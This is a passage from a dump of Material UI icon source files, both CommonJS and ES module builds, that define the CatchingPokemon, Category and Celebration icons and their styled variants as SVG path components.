    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.5 12c0 1.38-1.12 2.5-2.5 2.5S9.5 13.38 9.5 12s1.12-2.5 2.5-2.5 2.5 1.12 2.5 2.5m7.5 0c0 5.52-4.48 10-10 10S2 17.52 2 12 6.48 2 12 2s10 4.48 10 10m-2 0h-4c0-2.21-1.79-4-4-4s-4 1.79-4 4H4c0 4.41 3.59 8 8 8s8-3.59 8-8\"\n}), 'CatchingPokemon');"
  },
  {
    "path": "packages/mui-icons-material/lib/CatchingPokemonOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.5 12c0 1.38-1.12 2.5-2.5 2.5S9.5 13.38 9.5 12s1.12-2.5 2.5-2.5 2.5 1.12 2.5 2.5m7.5 0c0 5.52-4.48 10-10 10S2 17.52 2 12 6.48 2 12 2s10 4.48 10 10m-2 0h-4c0-2.21-1.79-4-4-4s-4 1.79-4 4H4c0 4.41 3.59 8 8 8s8-3.59 8-8\"\n}), 'CatchingPokemonOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CatchingPokemonOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.5 12c0 1.38-1.12 2.5-2.5 2.5S9.5 13.38 9.5 12s1.12-2.5 2.5-2.5 2.5 1.12 2.5 2.5m7.5 0c0 5.52-4.48 10-10 10S2 17.52 2 12 6.48 2 12 2s10 4.48 10 10m-2 0h-4c0-2.21-1.79-4-4-4s-4 1.79-4 4H4c0 4.41 3.59 8 8 8s8-3.59 8-8\"\n}), 'CatchingPokemonOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CatchingPokemonRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.5 12c0 1.38-1.12 2.5-2.5 2.5S9.5 13.38 9.5 12s1.12-2.5 2.5-2.5 2.5 1.12 2.5 2.5m7.5 0c0 5.52-4.48 10-10 10S2 17.52 2 12 6.48 2 12 2s10 4.48 10 10m-2 0h-4c0-2.21-1.79-4-4-4s-4 1.79-4 4H4c0 4.41 3.59 8 8 8s8-3.59 8-8\"\n}), 'CatchingPokemonRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CatchingPokemonRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.5 12c0 1.38-1.12 2.5-2.5 2.5S9.5 13.38 9.5 12s1.12-2.5 2.5-2.5 2.5 1.12 2.5 2.5m7.5 0c0 5.52-4.48 10-10 10S2 17.52 2 12 6.48 2 12 2s10 4.48 10 10m-2 0h-4c0-2.21-1.79-4-4-4s-4 1.79-4 4H4c0 4.41 3.59 8 8 8s8-3.59 8-8\"\n}), 'CatchingPokemonRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CatchingPokemonSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.5 12c0 1.38-1.12 2.5-2.5 2.5S9.5 13.38 9.5 12s1.12-2.5 2.5-2.5 2.5 1.12 2.5 2.5m7.5 0c0 5.52-4.48 10-10 10S2 17.52 2 12 6.48 2 12 2s10 4.48 10 10m-2 0h-4c0-2.21-1.79-4-4-4s-4 1.79-4 4H4c0 4.41 3.59 8 8 8s8-3.59 8-8\"\n}), 'CatchingPokemonSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CatchingPokemonSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.5 12c0 1.38-1.12 2.5-2.5 2.5S9.5 13.38 9.5 12s1.12-2.5 2.5-2.5 2.5 1.12 2.5 2.5m7.5 0c0 5.52-4.48 10-10 10S2 17.52 2 12 6.48 2 12 2s10 4.48 10 10m-2 0h-4c0-2.21-1.79-4-4-4s-4 1.79-4 4H4c0 4.41 3.59 8 8 8s8-3.59 8-8\"\n}), 'CatchingPokemonSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CatchingPokemonTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c4.08 0 7.45 3.05 7.94 7h-4.06c-.45-1.73-2.02-3-3.88-3s-3.43 1.27-3.87 3H4.06C4.55 7.05 7.92 4 12 4\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 2c4.08 0 7.45 3.05 7.94 7h-4.06c-.45-1.73-2.02-3-3.88-3s-3.43 1.27-3.87 3H4.06C4.55 7.05 7.92 4 12 4m2 8c0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2 2 .9 2 2m-2 8c-4.08 0-7.45-3.05-7.94-7h4.06c.44 1.73 2.01 3 3.87 3s3.43-1.27 3.87-3h4.06c-.47 3.95-3.84 7-7.92 7\"\n}, \"1\")], 'CatchingPokemonTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CatchingPokemonTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c4.08 0 7.45 3.05 7.94 7h-4.06c-.45-1.73-2.02-3-3.88-3s-3.43 1.27-3.87 3H4.06C4.55 7.05 7.92 4 12 4\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 2c4.08 0 7.45 3.05 7.94 7h-4.06c-.45-1.73-2.02-3-3.88-3s-3.43 1.27-3.87 3H4.06C4.55 7.05 7.92 4 12 4m2 8c0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2 2 .9 2 2m-2 8c-4.08 0-7.45-3.05-7.94-7h4.06c.44 1.73 2.01 3 3.87 3s3.43-1.27 3.87-3h4.06c-.47 3.95-3.84 7-7.92 7\"\n}, \"1\")], 'CatchingPokemonTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Category.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12 2-5.5 9h11z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"17.5\",\n  cy: \"17.5\",\n  r: \"4.5\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 13.5h8v8H3z\"\n}, \"2\")], 'Category');"
  },
  {
    "path": "packages/mui-icons-material/lib/Category.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m12 2-5.5 9h11z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"17.5\",\n  cy: \"17.5\",\n  r: \"4.5\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 13.5h8v8H3z\"\n}, \"2\")], 'Category');"
  },
  {
    "path": "packages/mui-icons-material/lib/CategoryOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12 2-5.5 9h11zm0 3.84L13.93 9h-3.87zM17.5 13c-2.49 0-4.5 2.01-4.5 4.5s2.01 4.5 4.5 4.5 4.5-2.01 4.5-4.5-2.01-4.5-4.5-4.5m0 7c-1.38 0-2.5-1.12-2.5-2.5s1.12-2.5 2.5-2.5 2.5 1.12 2.5 2.5-1.12 2.5-2.5 2.5M3 21.5h8v-8H3zm2-6h4v4H5z\"\n}), 'CategoryOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CategoryOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m12 2-5.5 9h11zm0 3.84L13.93 9h-3.87zM17.5 13c-2.49 0-4.5 2.01-4.5 4.5s2.01 4.5 4.5 4.5 4.5-2.01 4.5-4.5-2.01-4.5-4.5-4.5m0 7c-1.38 0-2.5-1.12-2.5-2.5s1.12-2.5 2.5-2.5 2.5 1.12 2.5 2.5-1.12 2.5-2.5 2.5M3 21.5h8v-8H3zm2-6h4v4H5z\"\n}), 'CategoryOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CategoryRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.15 3.4 7.43 9.48c-.41.66.07 1.52.85 1.52h7.43c.78 0 1.26-.86.85-1.52L12.85 3.4c-.39-.64-1.31-.64-1.7 0\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"17.5\",\n  cy: \"17.5\",\n  r: \"4.5\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 21.5h6c.55 0 1-.45 1-1v-6c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1v6c0 .55.45 1 1 1\"\n}, \"2\")], 'CategoryRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CategoryRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.15 3.4 7.43 9.48c-.41.66.07 1.52.85 1.52h7.43c.78 0 1.26-.86.85-1.52L12.85 3.4c-.39-.64-1.31-.64-1.7 0\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"17.5\",\n  cy: \"17.5\",\n  r: \"4.5\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 21.5h6c.55 0 1-.45 1-1v-6c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1v6c0 .55.45 1 1 1\"\n}, \"2\")], 'CategoryRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CategorySharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12 2-5.5 9h11z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"17.5\",\n  cy: \"17.5\",\n  r: \"4.5\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 13.5h8v8H3z\"\n}, \"2\")], 'CategorySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CategorySharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m12 2-5.5 9h11z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"17.5\",\n  cy: \"17.5\",\n  r: \"4.5\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 13.5h8v8H3z\"\n}, \"2\")], 'CategorySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CategoryTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"17.5\",\n  cy: \"17.5\",\n  r: \"2.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 15.5h4v4H5zm7-9.66L10.07 9h3.86z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12 2-5.5 9h11zm0 3.84L13.93 9h-3.87zM17.5 13c-2.49 0-4.5 2.01-4.5 4.5s2.01 4.5 4.5 4.5 4.5-2.01 4.5-4.5-2.01-4.5-4.5-4.5m0 7c-1.38 0-2.5-1.12-2.5-2.5s1.12-2.5 2.5-2.5 2.5 1.12 2.5 2.5-1.12 2.5-2.5 2.5M11 13.5H3v8h8zm-2 6H5v-4h4z\"\n}, \"2\")], 'CategoryTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CategoryTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"17.5\",\n  cy: \"17.5\",\n  r: \"2.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 15.5h4v4H5zm7-9.66L10.07 9h3.86z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m12 2-5.5 9h11zm0 3.84L13.93 9h-3.87zM17.5 13c-2.49 0-4.5 2.01-4.5 4.5s2.01 4.5 4.5 4.5 4.5-2.01 4.5-4.5-2.01-4.5-4.5-4.5m0 7c-1.38 0-2.5-1.12-2.5-2.5s1.12-2.5 2.5-2.5 2.5 1.12 2.5 2.5-1.12 2.5-2.5 2.5M11 13.5H3v8h8zm-2 6H5v-4h4z\"\n}, \"2\")], 'CategoryTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Celebration.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m2 22 14-5-9-9zm12.53-9.47 5.59-5.59c.49-.49 1.28-.49 1.77 0l.59.59 1.06-1.06-.59-.59c-1.07-1.07-2.82-1.07-3.89 0l-5.59 5.59zm-4.47-5.65-.59.59 1.06 1.06.59-.59c1.07-1.07 1.07-2.82 0-3.89l-.59-.59-1.06 1.07.59.59c.48.48.48 1.28 0 1.76m7 5-1.59 1.59 1.06 1.06 1.59-1.59c.49-.49 1.28-.49 1.77 0l1.61 1.61 1.06-1.06-1.61-1.61c-1.08-1.07-2.82-1.07-3.89 0m-2-6-3.59 3.59 1.06 1.06 3.59-3.59c1.07-1.07 1.07-2.82 0-3.89l-1.59-1.59-1.06 1.06 1.59 1.59c.48.49.48 1.29 0 1.77\"\n}), 'Celebration');"
  },
  {
    "path": "packages/mui-icons-material/lib/Celebration.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m2 22 14-5-9-9zm12.53-9.47 5.59-5.59c.49-.49 1.28-.49 1.77 0l.59.59 1.06-1.06-.59-.59c-1.07-1.07-2.82-1.07-3.89 0l-5.59 5.59zm-4.47-5.65-.59.59 1.06 1.06.59-.59c1.07-1.07 1.07-2.82 0-3.89l-.59-.59-1.06 1.07.59.59c.48.48.48 1.28 0 1.76m7 5-1.59 1.59 1.06 1.06 1.59-1.59c.49-.49 1.28-.49 1.77 0l1.61 1.61 1.06-1.06-1.61-1.61c-1.08-1.07-2.82-1.07-3.89 0m-2-6-3.59 3.59 1.06 1.06 3.59-3.59c1.07-1.07 1.07-2.82 0-3.89l-1.59-1.59-1.06 1.06 1.59 1.59c.48.49.48 1.29 0 1.77\"\n}), 'Celebration');"
  },
  {
    "path": "packages/mui-icons-material/lib/CelebrationOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m2 22 14-5-9-9zm10.35-5.82L5.3 18.7l2.52-7.05zm2.18-3.65 5.59-5.59c.49-.49 1.28-.49 1.77 0l.59.59 1.06-1.06-.59-.59c-1.07-1.07-2.82-1.07-3.89 0l-5.59 5.59zm-4.47-5.65-.59.59 1.06 1.06.59-.59c1.07-1.07 1.07-2.82 0-3.89l-.59-.59-1.06 1.07.59.59c.48.48.48 1.28 0 1.76m7 5-1.59 1.59 1.06 1.06 1.59-1.59c.49-.49 1.28-.49 1.77 0l1.61 1.61 1.06-1.06-1.61-1.61c-1.08-1.07-2.82-1.07-3.89 0m-2-6-3.59 3.59 1.06 1.06 3.59-3.59c1.07-1.07 1.07-2.82 0-3.89l-1.59-1.59-1.06 1.06 1.59 1.59c.48.49.48 1.29 0 1.77\"\n}), 'CelebrationOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CelebrationOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m2 22 14-5-9-9zm10.35-5.82L5.3 18.7l2.52-7.05zm2.18-3.65 5.59-5.59c.49-.49 1.28-.49 1.77 0l.59.59 1.06-1.06-.59-.59c-1.07-1.07-2.82-1.07-3.89 0l-5.59 5.59zm-4.47-5.65-.59.59 1.06 1.06.59-.59c1.07-1.07 1.07-2.82 0-3.89l-.59-.59-1.06 1.07.59.59c.48.48.48 1.28 0 1.76m7 5-1.59 1.59 1.06 1.06 1.59-1.59c.49-.49 1.28-.49 1.77 0l1.61 1.61 1.06-1.06-1.61-1.61c-1.08-1.07-2.82-1.07-3.89 0m-2-6-3.59 3.59 1.06 1.06 3.59-3.59c1.07-1.07 1.07-2.82 0-3.89l-1.59-1.59-1.06 1.06 1.59 1.59c.48.49.48 1.29 0 1.77\"\n}), 'CelebrationOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CelebrationRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m3.99 21.29 9.04-3.23c1.38-.49 1.78-2.26.74-3.3l-4.53-4.53c-1.04-1.04-2.8-.64-3.3.74l-3.23 9.04c-.28.8.48 1.56 1.28 1.28M15.06 12l5.06-5.06c.49-.49 1.28-.49 1.77 0l.06.06c.29.29.77.29 1.06 0s.29-.77 0-1.06l-.06-.06c-1.07-1.07-2.82-1.07-3.89 0L14 10.94c-.29.29-.29.77 0 1.06s.77.29 1.06 0m-5-5.12-.06.06c-.29.29-.29.77 0 1.06s.77.29 1.06 0l.06-.06c1.07-1.07 1.07-2.82 0-3.89L11.07 4c-.3-.3-.78-.3-1.07 0-.29.29-.29.77 0 1.06l.06.06c.48.48.48 1.28 0 1.76m7 5L16 12.94c-.29.29-.29.77 0 1.06s.77.29 1.06 0l1.06-1.06c.49-.49 1.28-.49 1.77 0l1.08 1.08c.29.29.77.29 1.06 0s.29-.77 0-1.06l-1.08-1.08c-1.08-1.07-2.82-1.07-3.89 0m-2-6L12 8.94c-.29.29-.29.77 0 1.06s.77.29 1.06 0l3.06-3.06c1.07-1.07 1.07-2.82 0-3.89l-1.06-1.06c-.29-.29-.77-.29-1.06 0s-.29.77 0 1.06l1.06 1.06c.48.49.48 1.29 0 1.77\"\n}), 'CelebrationRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CelebrationRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m3.99 21.29 9.04-3.23c1.38-.49 1.78-2.26.74-3.3l-4.53-4.53c-1.04-1.04-2.8-.64-3.3.74l-3.23 9.04c-.28.8.48 1.56 1.28 1.28M15.06 12l5.06-5.06c.49-.49 1.28-.49 1.77 0l.06.06c.29.29.77.29 1.06 0s.29-.77 0-1.06l-.06-.06c-1.07-1.07-2.82-1.07-3.89 0L14 10.94c-.29.29-.29.77 0 1.06s.77.29 1.06 0m-5-5.12-.06.06c-.29.29-.29.77 0 1.06s.77.29 1.06 0l.06-.06c1.07-1.07 1.07-2.82 0-3.89L11.07 4c-.3-.3-.78-.3-1.07 0-.29.29-.29.77 0 1.06l.06.06c.48.48.48 1.28 0 1.76m7 5L16 12.94c-.29.29-.29.77 0 1.06s.77.29 1.06 0l1.06-1.06c.49-.49 1.28-.49 1.77 0l1.08 1.08c.29.29.77.29 1.06 0s.29-.77 0-1.06l-1.08-1.08c-1.08-1.07-2.82-1.07-3.89 0m-2-6L12 8.94c-.29.29-.29.77 0 1.06s.77.29 1.06 0l3.06-3.06c1.07-1.07 1.07-2.82 0-3.89l-1.06-1.06c-.29-.29-.77-.29-1.06 0s-.29.77 0 1.06l1.06 1.06c.48.49.48 1.29 0 1.77\"\n}), 'CelebrationRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CelebrationSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m2 22 14-5-9-9zm12.53-9.47L21 6.05l1.48 1.48 1.06-1.06L21 3.93l-7.53 7.53zM10.94 6 9.47 7.47l1.06 1.06 2.54-2.54-2.54-2.53-1.06 1.07zm8.03 3.97-3.5 3.5 1.06 1.06L19 12.06l2.5 2.49 1.06-1.06z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m15.97 4.97-4.5 4.5 1.06 1.06L18.07 5l-3.53-3.53-1.06 1.06z\"\n}, \"1\")], 'CelebrationSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CelebrationSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m2 22 14-5-9-9zm12.53-9.47L21 6.05l1.48 1.48 1.06-1.06L21 3.93l-7.53 7.53zM10.94 6 9.47 7.47l1.06 1.06 2.54-2.54-2.54-2.53-1.06 1.07zm8.03 3.97-3.5 3.5 1.06 1.06L19 12.06l2.5 2.49 1.06-1.06z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m15.97 4.97-4.5 4.5 1.06 1.06L18.07 5l-3.53-3.53-1.06 1.06z\"\n}, \"1\")], 'CelebrationSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CelebrationTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12.35 16.18-4.53-4.53L5.3 18.7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m2 22 14-5-9-9zm10.35-5.82L5.3 18.7l2.52-7.05zm2.18-3.65 5.59-5.59c.49-.49 1.28-.49 1.77 0l.59.59 1.06-1.06-.59-.59c-1.07-1.07-2.82-1.07-3.89 0l-5.59 5.59zM9.47 7.47l1.06 1.06.59-.59c1.07-1.07 1.07-2.82 0-3.89l-.59-.59-1.06 1.07.59.59c.48.48.48 1.28 0 1.76zm7.59 4.41-1.59 1.59 1.06 1.06 1.59-1.59c.49-.49 1.28-.49 1.77 0l1.61 1.61 1.06-1.06-1.61-1.61c-1.08-1.07-2.82-1.07-3.89 0m-2-6-3.59 3.59 1.06 1.06 3.59-3.59c1.07-1.07 1.07-2.82 0-3.89l-1.59-1.59-1.06 1.06 1.59 1.59c.48.49.48 1.29 0 1.77\"\n}, \"1\")], 'CelebrationTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CelebrationTwoTone.mjs",
